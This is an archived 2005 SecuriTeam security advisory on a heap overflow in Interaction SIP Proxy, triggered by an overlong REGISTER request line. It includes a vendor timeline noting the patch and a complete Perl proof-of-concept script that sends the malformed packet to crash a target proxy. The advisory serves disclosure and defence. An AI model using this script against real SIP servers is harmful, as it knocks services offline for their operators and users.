

# [NT] Interaction SIP Proxy Heap Corruption Vulnerability (Long REGISTER)

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-12/msg00085.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 26 Dec 2005 18:52:50 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Interaction SIP Proxy Heap Corruption Vulnerability (Long REGISTER)

---

## SUMMARY

<<http://www.inin.com/SIPProxy/default.asp>> Interaction SIP Proxy is "Microsoft Windows-based software that provides basic SIP proxy and registrar functionality as defined in the IETF SIP-oriented RFC 3261".

By sending an arbitrary long REGISTER request it is possible to cause the remote Interaction SIP proxy to crash.

## DETAILS

Vulnerable Systems:

- \* Vonexus Enterprise Interaction Center Interaction SipProxy 3.0.010

The code in i3sipmsg.dll is responsible for handling SIP requests. The vulnerability is triggered by sending 2900 bytes of space (0x20) or TAB (0x9) characters as SIP version in a REGISTER request line. This will cause a heap overflow in SIPParser function.

Vendor Status:

Informed on 12/11/2005

## [NT] Interaction SIP Proxy Heap Corruption Vulnerability (Long REGISTER)

Initial response on 12/12/2005

Patch released on 12/18/2005

Exploit Code:

```
#!/usr/bin/perl
```

```
##
```

```
#i3 SIP Proxy POC – http://www.hat-squad.com/en/000171.html
```

```
#This vulnerability allows a remote user to overwrite heap memory of  
i3sipproxy.
```

```
#The request size varies, but size=2900 bytes works in most of the cases.
```

```
Successful
```

```
#exploitation of this bug for code execution requires a magic combination  
of
```

```
#pre-allocations, data and size.
```

```
#
```

```
use strict;
```

```
use IO::Socket::INET;
```

```
my $host = shift(@ARGV);
```

```
my $size = shift(@ARGV);
```

```
my $port=5060;
```

```
print "\n\n Interactive SIP proxy heap corruption POC \n\n";
```

```
print " By Behrang Fouladi, Hat-Squad Security Team \n\n";
```

```
print(" Usage: perl $0 \n\n"),exit if(!$host || !$size);
```

```
my $iaddr=inet_aton($host) || die ("Unable to resolve $host");
```

```
socket(DoS,PF_INET,SOCK_DGRAM,17);
```

```
my $sip= "REGISTER sip:test@test.com SIP/";
```

```
$sip.= "\x20"x$size;
```

```
$sip.= "\r\n";
```

```
$sip.= "Via: SIP/2.0/TCP 192.168.0.1:7043";
```

```
$sip.= "\r\n";
```

```
$sip.= "Max-Forwards: 70\r\n";
```

```
$sip.= "From: ;tag=ec8c2399e9\r\n";
```

```
$sip.= "To: \r\n";
```

```
$sip.= "Call-ID: 1b6c7397b109453c93d85edc88d9810e\r\n";
```

```
$sip.= "CSeq: 1 REGISTER\r\n";
```

```
$sip.= "Contact: ;methods=\"INVITE, MESSAGE, INFO, SUBSCRIBE, OPTIONS,  
BYE, CANCEL, NOTIFY, ACK, REFER, BENOTIFY\";proxy=replace\r\n";
```

```
$sip.= "Content-Length: 0\r\n";
```

```
$sip.= "\r\n";
```

```
send(DoS,$sip,0,sockaddr_in($port,$iaddr));
```

```
print " Exploit Sent to $host...\n";
```

```
print " The SIP Proxy should crash now.\n\n";
```

```
exit(0);
```

ADDITIONAL INFORMATION

The original article can be found at:  
<<http://www.hat-squad.com/en/000171.html>>  
<http://www.hat-squad.com/en/000171.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@xxxxxxxxxxxxxxx  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxx

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



- Prev by Date: [\*\[NEWS\] Electric Sheep Window-Id Local Stack Overflow\*](#)
- Next by Date: [\*\[NEWS\] Electric Sheep Screensaver Multiple Vulnerabilities\*](#)
- Previous by thread: [\*\[NEWS\] Electric Sheep Window-Id Local Stack Overflow\*](#)
- Next by thread: [\*\[NEWS\] Electric Sheep Screensaver Multiple Vulnerabilities\*](#)
- Index(es):
  - ◆ [\*Date\*](#)
  - ◆ [\*Thread\*](#)